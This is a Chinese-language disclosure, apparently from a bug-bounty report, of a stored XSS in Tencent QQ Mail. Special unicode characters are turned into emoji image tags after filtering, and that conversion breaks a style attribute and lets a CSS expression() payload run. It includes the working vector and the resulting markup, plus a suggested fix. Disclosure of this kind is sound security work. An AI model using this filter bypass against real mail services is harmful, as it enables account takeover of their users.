腾讯邮箱邮件正文存储型漏洞

纯fuzzing,没有神奇的vector

详细说明:

root cause:

QQ邮箱会将邮件里出现的特殊unicode字符转成自家的图片导致xss过滤函数被绕过。

Ex:

code 区域
㊗

->

<img src="https://res.mail.qq.com/zh_CN/htmledition/images/emoji32/3297.png">



按照正常思路,如果我们对邮件正文进行如下的xss injection:

<style>Fuzzitup {}*{xss:expression(alert(document.domain))}</style>

我们只能得到这样的回报:

<style>.qmbox Fuzzitup {}.qmbox *{}</style>



但如果结合我们在上面提到的unicode转换问题,来巧妙的构造这样的vector:



code 区域
<style x="㊗" y="Fuzzitup {}*{xss:expression(alert(document.domain))}">





最终邮件会变成这样:



code 区域
<style x="<IMG src=" https:="" res.mail.qq.com="" zh_cn="" htmledition="" images="" emoji32="" 3297.png"="">" y="Fuzzitup {}*{xss:expression(alert(document.domain))}"></style>





被强制转换成图片的unicode字符 ㊗ 由于包含双引号和右肩括号,会在无意间提前闭合style标签,进而将原先的attribute y的值带入到style标签的innerHTML当中,导致XSS。

漏洞证明:

证明:



腾讯邮箱邮件正文存储型漏洞_第1张图片





修复方案:

该poc暂时只能在ie7上复现。虽然poc有点鸡肋,不过这里最根本的问题是这种unicode转成图片的机制会干扰xss过滤函数的正常判断。所以我觉得大可以把这个功能去掉。

你可能感兴趣的:(腾讯邮箱邮件正文存储型漏洞)